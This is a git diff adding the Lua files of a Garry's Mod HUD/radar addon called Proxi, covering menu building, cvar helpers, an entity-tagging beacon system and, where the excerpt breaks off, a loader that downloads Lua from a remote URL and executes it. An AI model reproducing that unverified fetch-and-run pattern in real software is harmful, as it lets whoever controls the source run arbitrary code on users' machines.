category.List:EnableVerticalScrollbar( false ) + + /*local label = vgui.Create( "DLabel", category ) + label:SetText( objBeacon:GetDescription() or "No description" ) + category.List:AddItem( label )*/ + + if objBeacon:HasBypassDistance() then + category.List:AddItem( proxi.Util_CreateCheckBox( "Bypass distance limit" , "proxi_beacons_settings_" .. sName .. "__bypassdistance") ) + + end + + category:SetContents( category.List ) + + proxi.Util_AppendPanel( refPanel, category ) + + end + + end + + + + if proxi_internal.IsUsingCloud then + if proxi_internal.IsUsingCloud() then + proxi.Util_MakeCategory( refPanel, "Using Cloud" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + else + proxi.Util_MakeCategory( refPanel, "Using Locale" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + end + + else + proxi.Util_MakeCategory( refPanel, "Cloud" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + end + + -- Reload from Cloud Button + do + local CReload = vgui.Create("DButton") + CReload:SetText( "Reload from Cloud" ) + CReload.DoClick = proxi.MenuCall_ReloadFromCloud + proxi.Util_AppendPanel( refPanel, CReload ) + end + + -- Reload from Locale Button + if proxi_internal then + local CReload = vgui.Create("DButton") + CReload:SetText( "Reload from Locale" ) + CReload.DoClick = proxi.MenuCall_ReloadFromLocale + proxi.Util_AppendPanel( refPanel, CReload ) + end + + -- Changelog Button + if proxi_internal and proxi_internal.GetReplicate then + proxi.Util_AppendLabel( refPanel, "" ) + + local CChangelog = vgui.Create("DButton") + CChangelog:SetText( "Open Changelog" ) + CChangelog.DoClick = proxi.ShowChangelog + proxi.Util_AppendPanel( refPanel, CChangelog ) + end + + proxi.Util_ApplyCategories( refPanel ) + +end + + +function proxi.ShowMenuNoOverride( ) + proxi.ShowMenu( true ) +end + +function proxi.ShowMenu( optbKeyboardShouldNotOverride ) + if not proxi.DermaPanel then + proxi.BuildMenu() + end + --proxi.DermaPanel:Center() + proxi.DermaPanel:MakePopup() + proxi.DermaPanel:SetKeyboardInputEnabled( not optbKeyboardShouldNotOverride ) + proxi.DermaPanel:SetVisible( true ) +end + +function proxi.HideMenu() + if not proxi.DermaPanel then + return + end + proxi.DermaPanel:SetVisible( false ) +end + +function proxi.DestroyMenu() + if proxi.DermaPanel then + proxi.DermaPanel:Remove() + proxi.DermaPanel = nil + end +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// SANDBOX PANEL . + +function proxi.Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "proxi_core_enable" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (proxi_menu)", + Description = "Open Menu (proxi_menu)", + Command = "proxi_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type proxi_menu in the console, or bind this command to any key.") +end + +function proxi.AddPanel() + spawnmenu.AddToolMenuOption("Options", "Player", PROXI_NAME, PROXI_NAME, "", "", proxi.Panel, {SwitchConVar = 'proxi_core_enable'}) + +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +// MOUNT FCTS. + +function proxi.MountMenu() + concommand.Add( "proxi_menu", proxi.ShowMenuNoOverride ) + concommand.Add( "proxi_call_menu", proxi.ShowMenuNoOverride ) + concommand.Add( "+proxi_menu", proxi.ShowMenu ) + concommand.Add( "-proxi_menu", proxi.HideMenu ) + +end + +function proxi.UnmountMenu() + proxi.DestroyMenu() + + concommand.Remove( "proxi_call_menu" ) + concommand.Remove( "proxi_menu" ) + concommand.Remove( "+proxi_menu" ) + concommand.Remove( "-proxi_menu" ) + +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua new file mode 100644 index 0000000..e40d7f8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua @@ -0,0 +1,172 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu Utilities // +//////////////////////////////////////////////// + +function proxi.Util_FrameGetExpandTable( myPanel ) + local expandTable = {} + + for k,subtable in pairs( myPanel.Categories ) do + table.insert(expandTable, subtable[1]:GetExpanded()) + + end + + return expandTable +end + +function proxi.Util_AppendPanel( myPanel, thisPanel ) + local toAppendIn = myPanel.Categories[#myPanel.Categories][1].List + + thisPanel:SetParent( toAppendIn ) + toAppendIn:AddItem( thisPanel ) + +end + + +function proxi.Util_CreateCheckBox( title, cvar ) + local checkbox = vgui.Create( "DCheckBoxLabel" ) + checkbox:SetText( title ) + checkbox:SetConVar( cvar ) + + return checkbox + +end + +function proxi.Util_AppendCheckBox( myPanel, title, cvar ) + + local checkbox = proxi.Util_CreateCheckBox( title, cvar ) + + proxi.Util_AppendPanel( myPanel, checkbox ) + +end + +function proxi.Util_AppendLabel( myPanel, sText, optiSize, optbWrap ) + + local label = vgui.Create( "DLabel" ) + label:SetText( sText ) + + if optiSize then + label:SetWrap( true ) + label:SetContentAlignment( 2 ) + label:SetSize( myPanel.W_WIDTH, optiSize ) + + end + + if optbWrap then + label:SetWrap( true ) + + end + + proxi.Util_AppendPanel( myPanel, label ) + +end + +function proxi.Util_AppendSlider( myPanel, sText, sCvar, fMin, fMax, iDecimals) + local slider = vgui.Create("DNumSlider") + slider:SetText( sText ) + slider:SetMin( fMin ) + slider:SetMax( fMax ) + slider:SetDecimals( iDecimals ) + slider:SetConVar( sCvar ) + + proxi.Util_AppendPanel( myPanel, slider ) +end + +function proxi.Util_AppendColor( myPanel, sCvar ) + local ctrl = vgui.Create("CtrlColor") + ctrl.Prefix = sCvar + ctrl:SetConVarR(ctrl.Prefix .."_r") + ctrl:SetConVarG(ctrl.Prefix .."_g") + ctrl:SetConVarB(ctrl.Prefix .."_b") + ctrl:SetConVarA(ctrl.Prefix .."_a") + proxi.Util_AppendPanel(myPanel, ctrl) +end + +function proxi.Util_AppendPreset( myPanel, sFolder, tCvars, opttOptions ) + local ctrl = vgui.Create( "ControlPresets", self ) + + ctrl:SetPreset( sFolder ) + + if ( opttOptions ) then + for k, v in pairs( opttOptions ) do + if ( k != "id" ) then + ctrl:AddOption( k, v ) + end + end + end + + if ( tCvars ) then + for k, v in pairs( tCvars ) do + ctrl:AddConVar( v ) + end + end + + proxi.Util_AppendPanel( myPanel, ctrl ) + +end + +function proxi.Util_MakeFrame( width, height, optsTitleAppend ) + local myPanel = vgui.Create( "DFrame" ) + local border = 4 + + myPanel.W_HEIGHT = height - 20 + myPanel.W_WIDTH = width - 2 * border + + myPanel:SetPos( ScrW() * 0.5 - width * 0.5 , ScrH() * 0.5 - height * 0.5 ) + myPanel:SetSize( width, height ) + myPanel:SetTitle( PROXI_NAME .. (proxi_internal.IsUsingCloud and proxi_internal.IsUsingCloud() and " over Cloud" or "" ) .. (optsTitleAppend or "" ) ) + myPanel:SetVisible( false ) + myPanel:SetDraggable( true ) + myPanel:ShowCloseButton( true ) + myPanel:SetDeleteOnClose( false ) + + myPanel.Contents = vgui.Create( "DPanelList", myPanel ) + myPanel.Contents:SetPos( border , 22 + border ) + myPanel.Contents:SetSize( myPanel.W_WIDTH, height - 2 * border - 22 ) + myPanel.Contents:SetSpacing( 5 ) + myPanel.Contents:EnableHorizontal( false ) + myPanel.Contents:EnableVerticalScrollbar( false ) + + myPanel.Categories = {} + + return myPanel +end + +function proxi.Util_MakeCategory( myPanel, sTitle, bExpandDefault ) + local category = vgui.Create("DCollapsibleCategory", myPanel.Contents) + category.List = vgui.Create("DPanelList", category ) + table.insert( myPanel.Categories, {category, bExpandDefault} ) + category:SetSize( myPanel.W_WIDTH, 50 ) + category:SetLabel( sTitle ) + + category.List:EnableHorizontal( false ) + category.List:EnableVerticalScrollbar( false ) + + return category +end + +function proxi.Util_CatchCurrentCategory( myPanel ) + return myPanel.Categories[ #myPanel.Categories ][ 1 ] + +end + +function proxi.Util_ApplyCategories( myPanel ) + for k,subtable in pairs( myPanel.Categories ) do + subtable[1]:SetExpanded( opt_tExpand and (opt_tExpand[k] and 1 or 0) or subtable[2] ) + subtable[1].List:SetSize( myPanel.W_WIDTH, myPanel.W_HEIGHT - #myPanel.Categories * 10 - 10 ) + subtable[1]:SetSize( myPanel.W_WIDTH, myPanel.W_HEIGHT - #myPanel.Categories * 10 ) + + subtable[1].List:PerformLayout() + subtable[1].List:SizeToContents() + + subtable[1]:SetContents( subtable[1].List ) + + myPanel.Contents:AddItem( subtable[1] ) + end + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua new file mode 100644 index 0000000..17075a6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua @@ -0,0 +1,72 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + +function proxi:FamiliarizeString( stringInput ) + local stringParts = string.Explode( "_", stringInput ) + local stringOutput = "" + for k,part in pairs( stringParts ) do + local len = string.len( part ) + if len == 1 then + stringOutput = stringOutput .. string.upper( part ) + + elseif len > 1 then + stringOutput = stringOutput .. string.Left( string.upper( part ), 1 ) .. string.Right( part, len - 1 ) + + end + + if k != #stringParts then stringOutput = stringOutput .. " " end + + end + return stringOutput + +end + +function proxi:Util_CalcPowerUniform( fUniform ) + return fUniform ^ 2, (1 - (1 - fUniform) ^ 2 ) +end + +function proxi:Util_GetVarColorVariadic( sCvar ) + return self.GetVar(sCvar .. "_r"), self.GetVar(sCvar .. "_g"), self.GetVar(sCvar .. "_b"), self.GetVar(sCvar .. "_a"); + +end + +function proxi.Util_AppendCvar( tGroup, sName, oDefault, sType, ... ) + if not sType then + tGroup[sName] = oDefault + + elseif sType == "color" then + tGroup[sName .. "_r"] = oDefault[1] + tGroup[sName .. "_g"] = oDefault[2] + tGroup[sName .. "_b"] = oDefault[3] + tGroup[sName .. "_a"] = oDefault[4] + + end + + +end + +function proxi.Util_BuildCvars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + proxi.CreateVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ), true, false ) + + end + +end + +function proxi.Util_RestoreCvars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + proxi.SetVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ) ) + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua new file mode 100644 index 0000000..5405e32 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua @@ -0,0 +1,12 @@ + + + +if not iface3 then + HeXInclude = include +end + + +HeXInclude("sh_proxi_autorun.lua") + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua new file mode 100644 index 0000000..b61f19c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua @@ -0,0 +1,40 @@ +//if not ADDON_PROP then return end + +ADDON_PROP = {} +---- Preload +table.insert( ADDON_PROP, "cl_proxi_base.lua" ) + +local HAYFRAME_DIR = "proxi_hayframe/" +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe__initializer.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_util.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_var.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_cmds.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_mediator.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_changelog.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_ctrlcolor.lua" ) +table.insert( ADDON_PROP, HAYFRAME_DIR .. "hayframe_context.lua" ) + +table.insert( ADDON_PROP, "cl_proxi_dup_virtualscene.lua" ) + +---- Beacons +table.insert( ADDON_PROP, "cl_proxi_beacons.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/players.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/physprops.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/rockets.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/bolts.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/playerlos.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/nades.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/compass.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/contraptioncompass.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/npc.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/npclos.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinder.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/chat.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinderpierce.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/helpersquare.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/voicechat.lua" ) +table.insert( ADDON_PROP, "proxi_b_default/wallfinderpierceback.lua" ) + +---- Menu +table.insert( ADDON_PROP, "ProxiCollapsibleCheckbox.lua" ) +table.insert( ADDON_PROP, "cl_proxi_menu.lua" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua new file mode 100644 index 0000000..bbedc87 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua @@ -0,0 +1,144 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Base // +//////////////////////////////////////////////// +-- proxi table is declared by the Cloud. Don't empty it on this file. + +-- Don't use local shortcut here, it fails (index upvalue) +----local proxi = proxi + +PROXI_SHORT = "PROXI" + +proxi_util = {} + +function proxi.IsEnabled() + -- Here we use proxi and no method form, as an extra security for external scripts + -- that would try to call proxi.IsEnabled() + return proxi:GetVar("core_enable") > 0 + +end + +function proxi.ReloadFromCloud() + if proxi_cloud then + proxi_cloud:Ask() + end + +end + +function proxi.ReloadFromLocale() + if proxi_cloud then + proxi_cloud:LoadLocale() + end + +end + +function proxi.QuickThink() + proxi:UpdateBeacons() + +end + + +function proxi.Mount() + local self = proxi + + proxi_util.OutputLineBreak( ) + proxi_util.OutputIn( "Mounting ..." ) + + proxi.dat = {} + + self:RequireParameterMediator( ) + self:CreateVarParam( "bool", "core_enable", "1", { callback = function( sCvar, prev, new ) + if not proxi then return end + -- The following line is performed by the param already, as it is a bool. + --if (tonumber( new ) <= 0 and tonumber( prev ) <= 0) or (tonumber( new ) > 0 and tonumber( prev ) > 0) then return end + + if tonumber( new ) > 0 then + proxi:MountBeacons() + + else + proxi:UnmountBeacons() + + end + + end } ) + + self:CreateVarParam( "range", "global_finderdistance", "8192") + self:CreateVarParam( "range", "regmod_xrel", "0.2" ) + self:CreateVarParam( "range", "regmod_yrel", "0.2") + self:CreateVarParam( "range", "regmod_size", "172") + self:CreateVarParam( "range", "regmod_pinscale", "5") + self:CreateVarParam( "range", "regmod_fov", "45") + self:CreateVarParam( "range", "regmod_radius", "2048") + self:CreateVarParam( "range", "regmod_angle", "50") + self:CreateVarParam( "range", "regmod_pitchdyn", "2") + self:CreateVarParam( "bool", "eyemod_override", "0") + self:CreateVarParam( "color", "uidesign_ringcolor", {147, 201, 224, 255} ) + self:CreateVarParam( "color", "uidesign_backcolor", {32, 37, 43, 128} ) + + + self.cmdGroups = {} + self.cmdGroups.call = {} + self:AppendCmd( self.cmdGroups, "core_enable", function(p,c,args) self:SetVar("core_enable", args[1] ) end ) + self:AppendCmd( self.cmdGroups.call, "changelog", function() self.ShowChangelog( self ) end ) + self:AppendCmd( self.cmdGroups.call, "menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "+menu", function() self.OpenMenu( self ) end ) + self:AppendCmd( self.cmdGroups, "-menu", function() self.CloseMenu( self ) end ) + + self.cmdGroupsNoRemove = {} + self:AppendCmd( self.cmdGroupsNoRemove, "cloud_locale", proxi.ReloadFromLocale ) + + self:BuildCmds( self.cmdGroups, "" ) + self:BuildCmds( self.cmdGroupsNoRemove, "" ) + + self:MountMenu() + + hook.Add( "Think", "proxi.QuickThink", proxi.QuickThink ) + hook.Add( "HUDPaint", "proxi.HUDPaint", proxi.HUDPaint ) + + proxi:RemoveAllPhysicalTags() + proxi:MountBeacons( ) + + proxi_util.OutputIn( "Mount complete : " .. (proxi_internal.IsUsingCloud() and "Cloud" or "Locale") ) + proxi_util.OutputLineBreak( ) + +end + +function proxi.Unmount() + local self = proxi + + local bOkay, strErr = pcall(function() + -- Insert parachute Unmount + + proxi_util.OutputLineBreak( ) + proxi_util.OutputOut( "Unmounting ..." ) + + self:DestroyChangelog() + self:UnmountMenu() + self:DismountCmds( self.cmdGroups ) + + proxi_simmap = nil + hook.Remove( "HUDPaint", "proxi.HUDPaint" ) + hook.Remove( "Think", "proxi.QuickThink" ) + + + proxi_util.OutputOut( "Unmount complete." ) + proxi_util.OutputLineBreak( ) + + end) + if not bOkay then + proxi_util.OutputError( tostring(strErr) , "while unmounting" ) + + end + + -- Don't remove proxi_util + -- proxi_util = {} + proxi = nil + +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua new file mode 100644 index 0000000..6bd9e39 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua @@ -0,0 +1,364 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Beacons System // +//////////////////////////////////////////////// +local proxi = proxi + +-- Won't make a metatable because there are so few base functions + +local PROXI_BEACONS = {} +local PROXI_STANDALONE = {} +local PROXI_BEACONORDER = {} + +local PROXI_LastQueryBeacons = 0 +local PROXI_BeaconQueryDelay = 0.1 -- Seconds. + +local PROXI_TaggedEntities = {} + +function proxi:ResetAllTags() + //debug.Trace() + //print( "Reset all tags." ) + PROXI_TaggedEntities = {} + proxi:RemoveAllPhysicalTags() + +end + +function proxi:RemoveAllPhysicalTags() + local allEnts = ents.GetAll() + for _,ent in pairs( allEnts ) do + if ValidEntity( ent ) then + ent.__proxi_hasTags = nil + ent.__proxi_tags = nil + end + + end + +end + +function proxi:UpdateBeacons() + if CurTime() < (PROXI_LastQueryBeacons + PROXI_BeaconQueryDelay) then return end + PROXI_LastQueryBeacons = CurTime() + + local allEnts = ents.GetAll() + for _,ent in pairs( allEnts ) do + local couldTag = self:TagEntity( ent ) + + -- couldTag can be a BOOLEAN or NIL :: "if (couldTag == true)" DOES NOT EQUAL TO "if (couldtag)" + -- Actually, if there were only "(clouldTag)" it could work. + -- If there is a case where I need "coundTag == false" then do "couldTag == false" and not "not couldTag" + if couldTag == true then + table.insert( PROXI_TaggedEntities, ent ) + + end + + end + + local i = 1 + while i <= #PROXI_TaggedEntities do + if not ValidEntity( PROXI_TaggedEntities[ i ] ) then + table.remove( PROXI_TaggedEntities, i ) + + else + i = i + 1 + + end + + end + +end + +function proxi:GetAllBeacons() + return PROXI_BEACONS + +end + +function proxi:GetTaggedEntities() + return PROXI_TaggedEntities + +end + +function proxi:TagEntity( ent ) + if not ValidEntity( ent ) then return nil end + if ent.__proxi_hasTags ~= nil then return nil end -- CAN'T DEFINE TAGS ON AN ENTITIES THAT ALREADY HAVE. + + ent.__proxi_hasTags = false + local tags = {} + for tag,objBecon in pairs( PROXI_BEACONS ) do + -- NO MATTER IF THE BEACON IS ENABLED OR NOT + // Think about algorithm again ? + if not objBecon.IsStandAlone then + if objBecon:ShouldTag( ent ) then + table.insert(tags, tag) + + end + + end + + end + + if #tags > 0 then + ent.__proxi_hasTags = true + ent.__proxi_tags = tags + + end + + return ent.__proxi_hasTags + +end + +local PROXI_STEPS = { + [0] = "PerformMath", + [1] = "DrawUnderCircle", + [2] = "DrawUnderCircle2D", + [3] = "DrawOverCircle", + [4] = "DrawOverCircle2D", + [5] = "DrawOverEverything" +} + +function proxi:DebugBeaconOps( tEnts, iStep ) + local sStep = PROXI_STEPS[iStep] + self:DebugEntOps( sStep, tEnts, self:GetCurrentViewData() ) + self:DebugStandAloneOps( sStep ) + +end + +function proxi:DebugEntOps( sStep, tEnts, viewData ) + for k,ent in pairs( tEnts ) do + if ValidEntity( ent ) then + for l,tag in pairs( ent.__proxi_tags ) do + // should we Run a check on the tag existence ? ? + local objBeacon = PROXI_BEACONS[tag] + if objBeacon[sStep] and objBeacon:IsEnabled() and not objBeacon:IsEntityOffLimits( ent, viewData ) then + objBeacon[sStep]( objBeacon, ent ) + + end + + end + + end + + end + +end + +function proxi:DebugStandAloneOps( sStep, viewData ) + for k,tag in pairs ( PROXI_STANDALONE ) do + local objBeacon = PROXI_BEACONS[tag] + if objBeacon[sStep] and objBeacon:IsEnabled() then + objBeacon[sStep]( objBeacon ) + + end + + end + +end + +function proxi:MountBeacons( ) + self:ResetAllTags() + + for tag,objBeacon in pairs ( PROXI_BEACONS ) do + if objBeacon:IsEnabled( ) then + objBeacon:Mount( true ) + + end + + end + +end + +function proxi:UnmountBeacons( ) + self:ResetAllTags() + + for tag,objBeacon in pairs ( PROXI_BEACONS ) do + objBeacon:Unmount( true ) + + end + +end + +function proxi:OrderBeaconTable() + table.sort( PROXI_BEACONORDER, function( a, b ) + return (PROXI_BEACONS[a]:GetBarnstar() == PROXI_BEACONS[b]:GetBarnstar()) and (PROXI_BEACONS[a]:GetDisplayName() < PROXI_BEACONS[b]:GetDisplayName()) or (PROXI_BEACONS[a]:GetBarnstar() > PROXI_BEACONS[b]:GetBarnstar()) + + end ) + +end + +function proxi:GetBeaconOrderTable() + return PROXI_BEACONORDER +end + + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// + + +local BEACON = {} + +function BEACON:IsEnabled( ) + return proxi:GetVar("beacons_enable_" .. self._rawname) > 0 + +end + +function BEACON:GetDisplayName( ) + return self.Name + +end + +function BEACON:GetRawName( ) + return self._rawname + +end + +function BEACON:GetDescription( ) + return self.Description or nil + +end + +function BEACON:GetBarnstar() + return proxi:GetVar( "beacons_barnstar_" .. self._rawname ) + +end + +function BEACON:IsMounted() + return self._IsMounted +end + +function BEACON:HasBypassDistance( ) + return self._CanBypassDistance +end + +function BEACON:IsBypassingDistance( ) + return not self._CanBypassDistance or (proxi:GetVar( "beacons_settings_" .. self._rawname .. "__bypassdistance" ) > 0) +end + +function BEACON:IsEntityOffLimits( ent, viewData, optb_forceTest ) + if not optb_forceTest and self:IsBypassingDistance( ) then return false end + + if self.IsEntityOffLimitsCustom then + return self:IsEntityOffLimitsCustom( ent, viewData ) + end + return (ent:GetPos() - viewData.referencepos):Length() > viewData.bypass_distance // TODO : RADIUS +end + + +function BEACON:Mount( optbNoTagReset ) + if self._IsMounted then return false end + + if self.Load then + local bOkay, strErr = pcall(function() self:Load() end) + if not bOkay then Error(" > " .. PROXI_NAME .. " MountPlugin ERROR [".. self._rawname .."] : ".. strErr) end + end + + for hookName, func in pairs(self.Hooks) do + hook.Add( hookName , "proxi_" .. self._rawname .. "_" .. hookName , func ) + + end + + self._IsMounted = true + + if not optbNoTagReset then proxi:ResetAllTags() end + +end + +function BEACON:Unmount( optbNoTagReset ) + if not self._IsMounted then return false end + + for hookName, func in pairs(self.Hooks) do + hook.Remove( hookName , "proxi_" .. self._rawname .. "_" .. hookName) + end + + if self.Unload then + local bOkay, strErr = pcall(function() self:Unload() end) + if not bOkay then ErrorNoHalt(" > " .. INSCRIPT_NAME .. " UnmountPlugin ERROR [".. self._rawname .."] : ".. strErr) end + + end + + self._IsMounted = false + + if not optbNoTagReset then proxi:ResetAllTags() end +end + +local proxi_beacon_meta = {__index=BEACON} + + + +-- LIBVAR + +function proxi.RegisterBeacon( objBeacon, sName ) + proxi:RequireParameterMediator( ) + + if not objBeacon or not sName then return end + sName = string.lower( sName ) + if string.find( sName, " " ) or string.find( sName, "_" ) or PROXI_BEACONS[sName] then return end + + objBeacon.IsStandAlone = objBeacon.IsStandAlone or false + if objBeacon.IsStandAlone then + table.insert(PROXI_STANDALONE, sName) + + elseif not objBeacon.ShouldTag then + return -- ERROR : Not standalone but no way to tag either ! It's invalid ! + + else + objBeacon._CanBypassDistance = (objBeacon.CanBypassDistance == nil) or objBeacon.CanBypassDistance + + end + + objBeacon._IsMounted = false + + objBeacon.Name = objBeacon.Name or ("<" .. sName .. ">") + objBeacon._rawname = sName + + objBeacon.Hooks = {} + if objBeacon.HOOK then + for name, func in pairs( objBeacon.HOOK ) do + if type(func) == "function" then + objBeacon.Hooks[name] = function(...) + if not proxi or not proxi.IsEnabled or not proxi.IsEnabled() then return end + return func( objBeacon, ... ) + + end + end + end + + end + + PROXI_BEACONS[sName] = objBeacon + table.insert( PROXI_BEACONORDER, sName ) + + proxi:CreateVarParam("bool", "beacons_barnstar_" .. sName, "0", true, false) + if objBeacon._CanBypassDistance then + proxi:CreateVarParam("bool", "beacons_settings_" .. sName .. "__bypassdistance", (objBeacon.DefaultBypassDistance or false) and "1" or "0") + + end + proxi:CreateVarParam("bool", "beacons_enable_" .. sName, (objBeacon.DefaultOn or false) and "1" or "0", { callback = function( sCvar, prev, new ) + --local name = string.gsub( sCvar, proxi:GetVarName( "beacons_enable_" ), "" ) + + if not proxi then return end + if not proxi.GetAllBeacons or not proxi:GetAllBeacons() or not proxi:GetAllBeacons()[ sName ] then return end + + if tonumber( new ) > 0 then + proxi:GetAllBeacons()[ sName ]:Mount() + + else + proxi:GetAllBeacons()[ sName ]:Unmount() + + end + + end } ) + + setmetatable(objBeacon, proxi_beacon_meta) + + proxi:OrderBeaconTable() + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua new file mode 100644 index 0000000..4370290 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua @@ -0,0 +1,253 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Cloud Loader // +//////////////////////////////////////////////// + +if proxi_cloud then pcall(function() proxi_cloud.Unmount() end) end + +proxi_cloud = {} +proxi_cloudloader_version = 1.1 + +local PROXI_IsUsingCloud = false + +local PROXI_CloudReceiverTimeoutDelay = 3 // !! + +local PROXI_CloudReceiverQueried = 0 +local PROXI_CloudReceiverResponded = false +local PROXI_CloudReceiverAborted = false + +local PROXI_CloudReceiverNumTries = 3 + +local PROXI_CloudContents = "" +--local PROXI_CloudComposedContents = "" +local PROXI_CloudFileList = {} +local PROXI_CloudSubContents = {} +local PROXI_Origin = "http://proximod.googlecode.com/svn/trunk/lua/" +local PROXI_Start = "cd_proxi_includelist.lua" + + +function proxi_cloud.IsUsingCloud() + return PROXI_IsUsingCloud + +end + +function proxi_cloud.BuildBase() + pcall(function() if proxi and proxi.Unmount then proxi.Unmount() end end) + proxi = {} + proxi_dat = {} + +end + +local function PROXI_ReceiveCloud( contents , size ) + if PROXI_CloudReceiverResponded or PROXI_CloudReceiverAborted then return end + + //debug should perform checks here + PROXI_CloudContents = contents + + PROXI_CloudReceiverResponded = true + + // debug direct load + proxi_cloud.Load() + +end + +function proxi_cloud.Load() + if PROXI_CloudContents == "" then return end + + ADDON_PROP = {} + + local bOkay, strErr = pcall(function() proxi_cloud.InternalLoad() end) + local bCouldLoad = false + + if not bOkay then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to pass semantics : ".. strErr) + + elseif (ADDON_PROP == nil) or 